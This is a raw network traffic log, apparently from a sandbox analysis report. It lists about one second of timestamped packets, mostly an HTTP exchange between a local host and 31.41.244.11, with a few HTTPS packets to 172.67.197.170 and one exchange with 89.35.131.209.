Dec 20, 2024 17:43:55.831047058 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.831089973 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.831814051 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.831857920 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.831923008 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.831964970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.832869053 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.832914114 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.832973957 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.833015919 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.833875895 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.833920002 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.833987951 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.834026098 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.834916115 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.834955931 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.835015059 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.835057020 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.835958004 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.836004972 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.836025953 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.836061001 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.836982012 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.837027073 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.837070942 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.837125063 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.838063955 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.838107109 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.838167906 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.838206053 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.839147091 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.839193106 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.839219093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.839258909 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.840128899 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.840173960 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.840203047 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.840244055 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.841170073 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.841209888 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.841283083 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.841317892 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:55.841325998 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.841413975 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:55.841470957 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:55.841600895 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:55.841625929 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:55.842195988 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.842262030 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.842395067 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.842438936 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.843267918 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.843321085 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.843348980 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.843390942 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.844310045 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.844357967 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.844408989 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.844449997 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.845295906 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.845336914 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.845412970 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.845472097 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.846391916 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.846476078 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.846518040 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.846559048 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.847456932 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.847496033 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.847623110 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.847728014 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.848509073 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.848547935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.848553896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.848587990 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.849530935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.849709034 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.849781036 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.850538015 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.850579023 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.850651979 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.850693941 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.851573944 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.851615906 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.851670980 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.851711988 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.852708101 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.852751017 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.852771997 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.852813005 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.853667974 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.853833914 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.853854895 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.853873014 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.854747057 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.854794979 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.854841948 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.854880095 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.855777979 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.855819941 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.855915070 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.855953932 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.856777906 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.856825113 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.856843948 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.856890917 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.857832909 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.857877970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.857942104 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.857981920 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.858880043 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.858942986 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.858978033 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.859014034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.859618902 CET	80	49807	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:55.859675884 CET	49807	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:55.859927893 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.859966040 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.860033989 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.860074043 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.860946894 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.860995054 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.861064911 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.861104965 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.862052917 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.862164021 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.862205982 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.863024950 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.863068104 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.863126040 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.863168955 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.864098072 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.864146948 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.864154100 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.864195108 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.865103006 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.865143061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.865210056 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.865387917 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.866241932 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.866290092 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.866363049 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.866400957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.867260933 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.867305040 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.867366076 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.867405891 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.868334055 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.868390083 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.868478060 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.868522882 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.869420052 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.869469881 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.869534016 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.869573116 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.870357037 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.870398998 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.870464087 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.870503902 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.871387005 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.871428967 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.871525049 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.871565104 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.872385979 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.872423887 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.872489929 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.872598886 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.873558044 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.873617887 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.873658895 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.873698950 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.874456882 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.874502897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.948257923 CET	49810	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:55.948296070 CET	443	49810	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:55.948385000 CET	49810	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:55.948740005 CET	49810	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:55.948755980 CET	443	49810	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:56.011799097 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.011892080 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.011950970 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.011996984 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.012234926 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.012283087 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.012444973 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.012490034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.012602091 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.012645006 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.013503075 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.013549089 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.013572931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.013619900 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.014574051 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.014622927 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.014759064 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.014803886 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.015594959 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.015640974 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.015904903 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.015954018 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.016654968 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.016669035 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.016701937 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.016726017 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.017657042 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.017705917 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.017733097 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.017776966 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.018721104 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.018769979 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.018884897 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.018932104 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.019778013 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.019824982 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.020874023 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.020886898 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.020927906 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.020972013 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.021012068 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.021837950 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.021888971 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.022429943 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.022488117 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.022936106 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.022989035 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.023161888 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.023207903 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.023947954 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.023992062 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.024079084 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.024125099 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.024949074 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.024996996 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.025696039 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.025743008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.025993109 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.026041985 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.026074886 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.026123047 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.027069092 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.027116060 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.027208090 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.027265072 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.028115034 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.028163910 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.028467894 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.028512955 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.029120922 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.029170036 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.029969931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.030019045 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.030216932 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.030230045 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.030261993 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.030283928 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.031255960 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.031339884 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.031363964 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.031410933 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.032263994 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.032351971 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.032872915 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.032921076 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.033273935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.033329010 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.033437014 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.033490896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.034353971 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.034506083 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.034573078 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.035402060 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.035471916 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.036464930 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.036477089 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.036515951 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.036531925 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.036578894 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.036640882 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.037494898 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.037544012 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.038213968 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.038265944 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.038511038 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.038552046 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.038674116 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.038716078 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.039572001 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.039633036 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.039819956 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.039865971 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.040677071 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.040724039 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.040901899 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.040945053 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.041857958 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.041903973 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.042704105 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.042716980 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.042752028 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.042785883 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.042787075 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.042831898 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.043715000 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.043764114 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.043771982 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.043807983 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.044780016 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.044832945 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.045212030 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.045257092 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.045831919 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.045888901 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.046011925 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.046052933 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.046849966 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.046900034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.047950029 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.047962904 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.048002005 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.048031092 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.048072100 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.048934937 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.048986912 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.049194098 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.049236059 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.050144911 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.050192118 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.050190926 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.050229073 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.051075935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.051121950 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.051567078 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.051609993 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.052047968 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.052090883 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.052120924 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.052160978 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.053251982 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.053298950 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.053508043 CET	80	49799	31.41.244.11	192.168.2.6
